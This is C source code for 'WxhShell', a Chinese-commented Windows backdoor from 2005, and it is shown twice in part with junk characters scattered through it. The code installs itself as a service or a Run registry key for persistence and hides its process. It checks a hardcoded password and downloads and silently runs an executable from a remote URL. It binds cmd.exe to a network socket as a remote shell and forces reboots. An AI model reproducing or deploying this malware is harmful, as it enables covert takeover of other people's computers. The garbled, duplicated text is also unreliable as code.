K if(NULL == hInst ) return 0; "lJ[H=\ 7L\kna< g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); d)X6x-( g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <!M ab} NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ><Z`)}f ;wkoQ8FD9 if (!NtQueryInformationProcess) return 0; :6Oh ?y@ yxU??#v|g hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); V`MV_zA2 if(!hProcess) return 0; 8!uqR!M<C Q~p[jQ,4wZ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; b#<@&0KE ~J:"sUR CloseHandle(hProcess); ssy+x;<x, (}C%g{8 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); z|gG%fM if(hProcess==NULL) return 0; yIdM2#`u M!ra3Y HMODULE hMod; #FfUkV char procName[255]; >^Zyls unsigned long cbNeeded; wEImpsC` 9-9:]2~g! if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -bHfo%"^TT E'g2<k CloseHandle(hProcess); zkt+"P{az[ \dL#PI3 if(strstr(procName,"services")) return 1; // 以服务启动 '0!IF&p' +'NiuN return 0; // 注册表启动 +AT!IZrB2i } p<@0b :%?\Wj5HW // 主模块 !%x=o& int StartWxhshell(LPSTR lpCmdLine) fJ?$Z| { W~1MeAI SOCKET wsl; ]c8O"4n
n BOOL val=TRUE; /!*gH1s int port=0; wb>>bV+U struct sockaddr_in door; m_7)r 3??*G8Yp if(wscfg.ws_autoins) Install(); ?'_Q^O> YJO,"7+ port=atoi(lpCmdLine); b (,X3x* 'S
f if(port<=0) port=wscfg.ws_port; q1nGj 3huTT"G WSADATA data; 43mV ~Oj if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; L}&U%eD HgwL~vG if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Q-[^!RAK? setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *n)3y.s door.sin_family = AF_INET; kMS[ door.sin_addr.s_addr = inet_addr("127.0.0.1"); x0])&':! door.sin_port = htons(port); MK]S205{ ]3iu-~ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { b|c?xHF}K closesocket(wsl); ^ ,Bxq^'D return 1; LDL#*g } x@I@7Pvo3 )>)_>[ if(listen(wsl,2) == INVALID_SOCKET) { lA39$oJ closesocket(wsl); c FjC return 1; wovWEtVBU } n8zh;vuJ Wxhshell(wsl); dG|srgk+ WSACleanup(); %}G:R!4 d +:2(xgOP.V return 0; GA6)O-^G V#W(c_g } 31 |Vb E'LkoyI // 以NT服务方式启动 a%f5dj+ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) S8" h9| { 5|:=#Ql* DWORD status = 0; R|{6JsjG10 DWORD specificError = 0xfffffff; FuaGr0] \z8TYx@ serviceStatus.dwServiceType = SERVICE_WIN32; o([+Pp serviceStatus.dwCurrentState = SERVICE_START_PENDING; 9dw02bY` serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; T7n;Bf serviceStatus.dwWin32ExitCode = 0; t09,X serviceStatus.dwServiceSpecificExitCode = 0; nF}]W14x serviceStatus.dwCheckPoint = 0; *Yov>lO serviceStatus.dwWaitHint = 0; P/t$xqAL <?Fgm1=o hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); D?]aYCT if (hServiceStatusHandle==0) return; }mz4 3Sq< &&[j/d}J status = GetLastError(); z]\0]i
if (status!=NO_ERROR)
4MRHz{`wa { T:wd3^.CG serviceStatus.dwCurrentState = SERVICE_STOPPED; $|z8WCJ serviceStatus.dwCheckPoint = 0; >'Nrvy%&0 serviceStatus.dwWaitHint = 0; xgJ2W_ serviceStatus.dwWin32ExitCode = status; (a`z:dz} serviceStatus.dwServiceSpecificExitCode = specificError; "xS",6Sy SetServiceStatus(hServiceStatusHandle, &serviceStatus); rM pb return; W32mAz; } V# w$|B\ hig^ovF serviceStatus.dwCurrentState = SERVICE_RUNNING; {Ca#{LeLk serviceStatus.dwCheckPoint = 0; ykl./uY' serviceStatus.dwWaitHint = 0; tTF/$`Q#* if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ctdV4%^{ } {:od=\*R |,t#Au}61 // 处理NT服务事件,比如:启动、停止 R$(,~~MH VOID WINAPI NTServiceHandler(DWORD fdwControl) ;{BELv-4 { Y4!v1 switch(fdwControl) t
7;V`[ { GIo&zPx case SERVICE_CONTROL_STOP: nd_d tsp# serviceStatus.dwWin32ExitCode = 0; yZ 6560(q serviceStatus.dwCurrentState = SERVICE_STOPPED; ;2)@NH serviceStatus.dwCheckPoint = 0; kP6g0,\|a| serviceStatus.dwWaitHint = 0; |nz,srr~ { Sxjwqqv SetServiceStatus(hServiceStatusHandle, &serviceStatus); sqJ?dIBH } <G\q/!@_ return; |CY.Y, case SERVICE_CONTROL_PAUSE: XLg6?Nu serviceStatus.dwCurrentState = SERVICE_PAUSED; ?$pp% break; io$AGi case SERVICE_CONTROL_CONTINUE: z930Wi{@ serviceStatus.dwCurrentState = SERVICE_RUNNING; E7oL{gU
break; ~e ]83? case SERVICE_CONTROL_INTERROGATE: uUwwR(R break; VoWlBH }; ~WehG<p v[ SetServiceStatus(hServiceStatusHandle, &serviceStatus); wb.47S8 } rC[*x} 4mQ:i7~ // 标准应用程序主函数 V
;1$FNR
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +VI2i~ { c3Y\XzV3v t]2~aK<] // 获取操作系统版本 GO+cCNMa" OsIsNt=GetOsVer();
xuv%mjQ GetModuleFileName(NULL,ExeFile,MAX_PATH); vtv|H 4nXS}bW f // 从命令行安装 37 T<LU if(strpbrk(lpCmdLine,"iI")) Install(); \=XAl >}\ Tc T%[h! // 下载执行文件 ,L6d~>=41 if(wscfg.ws_downexe) { #K"jtAm if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) pD eqBO WinExec(wscfg.ws_filenam,SW_HIDE); co|jUDu>W } k*w]a S}cpYjnH8 if(!OsIsNt) { m5v9:5{ // 如果时win9x,隐藏进程并且设置为注册表启动 V&eti2&zO HideProc(); u-qg9qXJb StartWxhshell(lpCmdLine); k>FMy#N|@ } ?nn`ud?f else | -e*^| if(StartFromService()) G{pfyfF // 以服务方式启动 qb]n{b2 StartServiceCtrlDispatcher(DispatchTable); sbjAZzrX2i else E*:!G // 普通方式启动 \j+O |#`|) StartWxhshell(lpCmdLine); <%8j#@OdZ IgI*mDS&b return 0; !\'7j-6 } Vl%AN;o ryB^$Kh,, jr|(K*; w4Qqo( =========================================== h3Nwxj~E .{1G"(z &Gp@,t z\Rs?v" 9c1g,:8\ Wb+^Ue " !
@{rkp ZR.1SA0x?O #include <stdio.h> 4v_?i@,L #include <string.h> F[<EXLQ #include <windows.h> iS&~oj_-% #include <winsock2.h> orVsMT[A #include <winsvc.h> X6kB
R #include <urlmon.h> 'b:e`2fl O$k;p<?M #pragma comment (lib, "Ws2_32.lib") |R8=yO%( #pragma comment (lib, "urlmon.lib") uSLO"\zysX
_CY>45 #define MAX_USER 100 // 最大客户端连接数 `zGK$,[% #define BUF_SOCK 200 // sock buffer l+Dl~o} #define KEY_BUFF 255 // 输入 buffer #~3x^4Y J~eY,n.6] #define REBOOT 0 // 重启 IT!
a)d #define SHUTDOWN 1 // 关机 2.ud P l>`N+ pZ$ #define DEF_PORT 5000 // 监听端口 SweaERl 9_h3<3e #define REG_LEN 16 // 注册表键长度 Vc.A<( #define SVC_LEN 80 // NT服务名长度 `au('
xi< kq6S`~J^R // 从dll定义API \kqa4{7 U( typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); F,Y@ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); VgtWT`F.I typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); cTu7U=% typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); daf$` Y:[WwX| // wxhshell配置信息 xB_F?d40T5 struct WSCFG { }ddwL int ws_port; // 监听端口 j!q5 Bc? char ws_passstr[REG_LEN]; // 口令 <MZ$ baK int ws_autoins; // 安装标记, 1=yes 0=no }M'h5x char ws_regname[REG_LEN]; // 注册表键名 Qmle0ae char ws_svcname[REG_LEN]; // 服务名 Q}FDu, char ws_svcdisp[SVC_LEN]; // 服务显示名
=]&?(Gq char ws_svcdesc[SVC_LEN]; // 服务描述信息 (mz5vzyw char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;v'7l>w3\w int ws_downexe; // 下载执行标记, 1=yes 0=no $gT+Ue|7 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2ME"=!&5 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 N]R<EBq <9 lZ%j; }; nkTH#WTfR /tl/%:U*. // default Wxhshell configuration ?Y+xuY/t struct WSCFG wscfg={DEF_PORT, T0s7aw[zm "xuhuanlingzhe", _
vVw2HH 1, *')BP;|V` "Wxhshell", )QE7$|s "Wxhshell", .Gq.s t% "WxhShell Service", # eqt{ "Wrsky Windows CmdShell Service", #&0)kr66 "Please Input Your Password: ", V#[I/D 1, h=SQ]nV{ "http://www.wrsky.com/wxhshell.exe", J~KWn. "Wxhshell.exe" ;l>
xXSB7$ }; *F* c B3K!>lz // 消息定义模块 ~t[ #p: char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; '#$Y:/ char *msg_ws_prompt="\n\r? for help\n\r#>"; \kcJF'JFA0 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; v1<gNb)` char *msg_ws_ext="\n\rExit."; &B^#?vmO char *msg_ws_end="\n\rQuit."; Pc>$[kT0 char *msg_ws_boot="\n\rReboot..."; _F>1b16:/P char *msg_ws_poff="\n\rShutdown..."; t^ LXGQ char *msg_ws_down="\n\rSave to "; DLcfOOn1I EJ{Z0R{{ char *msg_ws_err="\n\rErr!"; %41dVnWB^4 char *msg_ws_ok="\n\rOK!"; # m?GBr%k )V~Fl$A char ExeFile[MAX_PATH]; 9\i;zpN\ int nUser = 0; g0Qg]F5D~ HANDLE handles[MAX_USER]; (q`Jef int OsIsNt;
hh<5?1 _d6mf4M]5 SERVICE_STATUS serviceStatus; %AW5\ EX SERVICE_STATUS_HANDLE hServiceStatusHandle; ms'&.u&< 2uFaAAT // 函数声明 9XWF&6w6yf int Install(void); J0zudbP int Uninstall(void); ^-{ 1]G: int DownloadFile(char *sURL, SOCKET wsh); ,Hh7'` int Boot(int flag); rg+28tlDn void HideProc(void); a
OR} int GetOsVer(void); >SpXB:wx int Wxhshell(SOCKET wsl); 0h!2--Aur void TalkWithClient(void *cs); ;5^grr@,4 int CmdShell(SOCKET sock); Pd!;z=I int StartFromService(void); 4 q}1 int StartWxhshell(LPSTR lpCmdLine); Ht+ng !VpZo*+ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [W=%L:Ea VOID WINAPI NTServiceHandler( DWORD fdwControl ); hY+3PNiI@ i,rP/A^q // 数据结构和表定义 BL0WI9 SERVICE_TABLE_ENTRY DispatchTable[] = }<7Dyn, { I9*o[Jp5 {wscfg.ws_svcname, NTServiceMain}, ^|xj. {NULL, NULL} +A8S 6bA[= }; Na: M1Uhb ^.Q{Aqu#.H // 自我安装 RK(uC-l int Install(void) AKx\U?ei7 { nQK@Uy5Yr char svExeFile[MAX_PATH]; RBr HKEY key; j{VxB strcpy(svExeFile,ExeFile); CvmZW$5Yo yGgHd=? // 如果是win9x系统,修改注册表设为自启动 Dn$zwksSs if(!OsIsNt) { QnZR if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { GiHJr1 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B;4hI? RegCloseKey(key); J&^r}6D if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N;A1e@bP RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w$A*|^w1 RegCloseKey(key); L6BHh_*E return 0; SAs'u"EB } _jH1Mcq } ,8o]XFOr } SynxMUlA else { <<(~'$~,L L3Ry#uw // 如果是NT以上系统,安装为系统服务 '\1%%F7 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,!kyrk6 if (schSCManager!=0) 0'^? m$ { r!Eo8C SC_HANDLE schService = CreateService sC
]&Qr_ ( x0.&fCh% schSCManager, [lS'GszA wscfg.ws_svcname, {eIE| wscfg.ws_svcdisp, qfC9 {gu SERVICE_ALL_ACCESS, |Y(].G, SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7`X"B*`~b SERVICE_AUTO_START, -2> L*"^ SERVICE_ERROR_NORMAL, \'E _ svExeFile, Q
C~~ NULL, G D[~4G NULL, =6 NULL, ]*i>KR@G NULL, ddnWr"_ NULL 2_r}4)z ); q>Px if (schService!=0) b${Kj3( { rUlpo|B CloseServiceHandle(schService); fbw{)SZ CloseServiceHandle(schSCManager); Z|8f7@k{|+ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /unOZVr( strcat(svExeFile,wscfg.ws_svcname); (Egykh> if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9%zR?u RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); apY m,_ RegCloseKey(key); WK;p[u?~xi return 0; ACyQsmqm: } Pv1psKu } `
|]6<<'iW CloseServiceHandle(schSCManager); DN^ln%# } `=-}S+ } "A/kL@ -C zLxWyPM0; return 1; `M7){ } Z@I%ppd jC\R8_ // 自我卸载 yaX,s4p int Uninstall(void) c,D'Hl6(% { RhQOl9 HKEY key; |(P>'fat-p 1H[lf
B if(!OsIsNt) { t?0=;.D if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wfZ'T#1 RegDeleteValue(key,wscfg.ws_regname); jG.*tuf RegCloseKey(key); %pwm34 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U-lN_? RegDeleteValue(key,wscfg.ws_regname); T|{BT!
W1E RegCloseKey(key); fptW#_V2 return 0; 5 ;|9bWH } d>AVUf<o~ } 9CN /v } r?[mn^Bo 5 else { L>L4%? uj:w^t ][ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); jr9ZRHCU if (schSCManager!=0) DI&xTe9k { H@
w6.[# SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $PTedJ}*Y if (schService!=0) !t_,x= { }40/GWp<f if(DeleteService(schService)!=0) { }6S4yepl CloseServiceHandle(schService); jkdNisq37 CloseServiceHandle(schSCManager); ow$#kQ&R O return 0; sO } ]{"(l( CloseServiceHandle(schService); =~arj } \E#r[9F{ CloseServiceHandle(schSCManager); 4kz8U } b%_QL3m6 } &x3"Rq_ Xt7'clr return 1; lGM3?AN } DQ9s57VxC! f,-|"_5; // 从指定url下载文件 M"FAUqz` int DownloadFile(char *sURL, SOCKET wsh) XWvs~Xw@ { KW;xlJz(j HRESULT hr; M\<!m^~ char seps[]= "/"; bFVdv&
char *token; vV'^HD^v char *file; d,[KcX char myURL[MAX_PATH]; ,,Db:4qfjD char myFILE[MAX_PATH]; p/5!a~1'xN GS$k strcpy(myURL,sURL); jQr~@15J# token=strtok(myURL,seps); C0fA3y72 while(token!=NULL) -'N#@Wdr { m0*
B[ file=token; zo5.}mr+ token=strtok(NULL,seps); @uE=)mP@ } N4v)0 CeiU2.:U GetCurrentDirectory(MAX_PATH,myFILE); $oQsh|sTI strcat(myFILE, "\\"); YBCjcD[G strcat(myFILE, file); ]EcZ|c7o9y send(wsh,myFILE,strlen(myFILE),0); '?>eW2d send(wsh,"...",3,0); VoyH: hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); P3yiJ|vP if(hr==S_OK) 4GfLS.Ip return 0; Wu4Nq+ else 0;H6b= return 1; @r]s9~Lx9 +{%4&T<nHw } Fp6Y Y
yUSB{DLpla // 系统电源模块 G}-.xj] int Boot(int flag) sKuTG93sr@ { }J?fJ( HANDLE hToken; LA?\~rh! TOKEN_PRIVILEGES tkp; cGc|n3( ?iLd5 Z if(OsIsNt) { [4hO3):F OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); i@CMPz-h& LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :ky<`Jfr` tkp.PrivilegeCount = 1; 7L+X\oaB tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?R]y}6P$ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); zn
?;>Bl if(flag==REBOOT) { n2{{S(N if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !:<UgbiVv return 0; 8T)zB6ng } k4$q|x7+% else { 2E2}|:
||& if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) j?f <hQ return 0; p},Fwbl } kxW>Da<6 } 6lWFxbh else { M91lV(Z if(flag==REBOOT) { -z0{\=@#m if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) H 1D;:n return 0; @sHw+to|p) } ,GJ>vT) else { b!X"2' if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) HQ3`:l return 0; bez'[Y{ } 3Y{)(%I } pfZ,t<bE2 t/*K#]26 return 1; XLmMK{gs } f4k5R ~BvY8\@B // win9x进程隐藏模块 a*':W%7 void HideProc(void)
NVJ&C]H6 { @ 9 {%Kn Yv>BOK HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,![Du::1 if ( hKernel != NULL ) V`\f+Uu { o? i.v0@!K pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); So=nB} b[? ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #t@x6Vt FreeLibrary(hKernel); "Ug/
',jkV } 6%. |jk-@ Z* return; QM ZUt } +^*5${g;@H *NW QmC~ // 获取操作系统版本 1/2V.:bg int GetOsVer(void) TH>?Gi)" { 2]D$|M?$~ OSVERSIONINFO winfo; 9$+^"ilk winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \-
=^]]b= GetVersionEx(&winfo); ^m_^ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) zr.+'
return 1; WQ[}&kY~ else *
-KJh_ return 0; ])V2}gH } \\S/NA Z'Exw-ca // 客户端句柄模块 ]3t1=+ int Wxhshell(SOCKET wsl) 8QVE_ Eu { =#i4MXRZ{ SOCKET wsh; :8^M5} struct sockaddr_in client; Qj(vBo?D DWORD myID; [ WV@ w l'*^$qc while(nUser<MAX_USER) Ot`LZ"H: { )MWUS;O< int nSize=sizeof(client); oX'0o 'c wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +yf(Rs)! if(wsh==INVALID_SOCKET) return 1; )jyq{Jb d,c8Hs8 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); gjj 93 if(handles[nUser]==0) #NvQmz?J? closesocket(wsh); ;n`R\NO9 else b?_e+:\UV nUser++; gi6g"~%@q1 } ]} 61vV WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +|y*}bG (I-<f$3 return 0; @#RuSc } v*E(/}<v >i
"qMZ // 关闭 socket B*\$
/bk, void CloseIt(SOCKET wsh) +I t#Z3 { pzp,t(%j closesocket(wsh); XC[]E)8 nUser--; pO%{'%RA ExitThread(0); qgoJ4Z* } %2f//SZ: %$@1FlqX; // 客户端请求句柄 |%
z^N* void TalkWithClient(void *cs) w|IjQ1{ { @q K]JK .it#`Yz; SOCKET wsh=(SOCKET)cs; xwRhs!`t1 char pwd[SVC_LEN]; *?/tO,
R? char cmd[KEY_BUFF]; <,"4k&0Q>V char chr[1]; xJ{_qP int i,j; .evbE O 5 oM!xz1kVL while (nUser < MAX_USER) { F^QQ0h]2 `vd= ec if(wscfg.ws_passstr) { H`~;|6}]n if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); VYZU eh //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); : [q0S@ //ZeroMemory(pwd,KEY_BUFF); h.)h@$d i=0; e ^Ds while(i<SVC_LEN) { (hIF]>,kl FmEc`N9\v // 设置超时 "-31'R- fd_set FdRead; 7p.>\YtoR} struct timeval TimeOut; O*[{z)M. FD_ZERO(&FdRead); #2RiLht FD_SET(wsh,&FdRead); &?0:v`4Y TimeOut.tv_sec=8; ndink$ TimeOut.tv_usec=0; `:eU. int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); fH\X if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); t42u b sV/l5]b] if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u7fK1 ^O pwd=chr[0]; S4N(cn& if(chr[0]==0xd || chr[0]==0xa) { .~>?*} pwd=0; *4S-z&,.c break; 0V$k7H$Z } k1^\| i++; PRkSQ4 } iYJZvN X
T[zj<&_ // 如果是非法用户,关闭 socket a,|?5j9,P if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); IvHh4DU3Z } zce`\ /: 2o3EHZ+]cm send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); qJPT%r send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P`$!@T0= N~^yL <O while(1) { ~g#r6pzN- /PzcvN
ZeroMemory(cmd,KEY_BUFF); <eN_1NTH_ q%(EYM5Y // 自动支持客户端 telnet标准 P>i%7:OMZA j=0; JL=U,Mr6 while(j<KEY_BUFF) { 3S*AxAeg if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &;i
"P cmd[j]=chr[0]; Fmyj*)J[Z if(chr[0]==0xa || chr[0]==0xd) { /./"x~@ cmd[j]=0; =( v^5 break; /E;y,o75 } [XVEBA4GI j++; VU`OO$,W } Z@a9mFI? T9W`?A // 下载文件 dU) ]:>Uz if(strstr(cmd,"http://")) { %`MQmXgM send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3`E=#ff% if(DownloadFile(cmd,wsh)) +mj*o( send(wsh,msg_ws_err,strlen(msg_ws_err),0); kOOGw:/ else FBx_c;)9Z send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qgIb/6;xQ } r={c,i else { !oPq?lW9 q6Rr.A switch(cmd[0]) { 7SD Fz} L`f^y;Y. // 帮助 4iAZ+l5& case '?': { Z4<L$i;/jN send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S/|,u`g- break; OsBo+fwT } 3 LDS
Z1f // 安装 rX_@Ihv' case 'i': { ojYbR<jn9 if(Install()) 8n1'x; send(wsh,msg_ws_err,strlen(msg_ws_err),0); KT]Pw\y5 else ^`un'5Vk send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); afjtn_IB break; ]7-&V-Ct* } J>fQNW!{ // 卸载 (c0A.L)
case 'r': { N0hE4t if(Uninstall()) ga?*DI8w send(wsh,msg_ws_err,strlen(msg_ws_err),0); [MuEoWrq(} else G\|,5HED send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {U&.D
[{& break; LYlDc;<A } 9x,RvWTb // 显示 wxhshell 所在路径 *~w[eH!! case 'p': { KWLbD# char svExeFile[MAX_PATH]; ge]STSM0n7 strcpy(svExeFile,"\n\r"); SG6sw]x strcat(svExeFile,ExeFile); !i=nSqW send(wsh,svExeFile,strlen(svExeFile),0); >2#8B break; N !TW! } bn
|zl!Pq // 重启 C8F 7bG8c case 'b': { C6rg<tCH send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2<M= L1\ if(Boot(REBOOT)) <&)v~-&O
send(wsh,msg_ws_err,strlen(msg_ws_err),0); K~ ;45Z2 else { Tw + closesocket(wsh); )BRKZQN ExitThread(0); KK@.~'d } 'Ei;^Y 1e break; m&|`x } :;t
#\%L/ // 关机 2h?uNW(0Q case 'd': { #s!'+|2n send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }NsUnbxT if(Boot(SHUTDOWN)) J,b&XD@m send(wsh,msg_ws_err,strlen(msg_ws_err),0); :O5og[;b else { ?
w^- closesocket(wsh); 4DTzSy:x ExitThread(0); ^iQn'++Q } LzYO$Ir:g break; O:da-xWJ } TRsE % // 获取shell L \;6y*K case 's': { S4=R^];l CmdShell(wsh); fryJW= closesocket(wsh); cV`E>w=D0 ExitThread(0); .Lfo)?zG break; 2.d| G` } dMrd_1 // 退出 s`#(
case 'x': { csfgJ^ n send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &d'Awvy0 CloseIt(wsh); $ Y 7c break; UUMtyf } 3QpYmX<E // 离开 CpJ0m-7aIH case 'q': { I2H6y"pN send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ja
,Cvt closesocket(wsh); yS=oUE$ WSACleanup(); ?-Vjha@BO exit(1); +&["HoKg}& break; ,~?YBLw@c } cCR+D.F } YZ+RWu9K } ZNx$r]4nF asC_$tsMe // 提示信息 [}fv dW if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JCW\ *R } y_.!!@, } l{D'uI[& Zc?ppO return; Y \:0Ev } L;od6<.*m N;+[`l // shell模块句柄 mJM_2Ab int CmdShell(SOCKET sock) ;m2<eS`o' { 72,rFYvpK STARTUPINFO si; R-P-i0~ ZeroMemory(&si,sizeof(si)); ;vb8G$ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b
pv=% si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "HXYNS> PROCESS_INFORMATION ProcessInfo; XbQlHfrS char cmdline[]="cmd"; \);4F=h}f CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); h`MF#617 return 0; 3 LdQ]S } P<K){V wRrnniqf8 // 自身启动模式 TW^/sx int StartFromService(void) tbO
H#| { z;u typedef struct b9XW9O`B { v|E"[P2e DWORD ExitStatus; rhL" i^ DWORD PebBaseAddress; CZbYAxNl DWORD AffinityMask; 1$*%" 5a DWORD BasePriority; ?,yj")+ ULONG UniqueProcessId; cr;g5C
V ULONG InheritedFromUniqueProcessId; L_w+y } PROCESS_BASIC_INFORMATION; &[hLzlrg mYU9
trHV PROCNTQSIP NtQueryInformationProcess; 07Edfe ,<:!NF9 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +<prgP`v static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [V
8{b{ s#uJ
;G HANDLE hProcess; 2c/Ys4/H4] PROCESS_BASIC_INFORMATION pbi; ]!IVz)<E& Pm$q]A~ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); YSaJeU>@ if(NULL == hInst ) return 0; 9!><<7TS zB?
V_aT g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); vF?5].T g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); apk4j\i?5 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7r{83_B lHZU iB if (!NtQueryInformationProcess) return 0; {-A^g!jT& /\)a hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %0Y=WYUH> if(!hProcess) return 0; >O5m5@GK3a W(hMft% if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %?e(hnM $x6$*K(F CloseHandle(hProcess); F:#J:x'
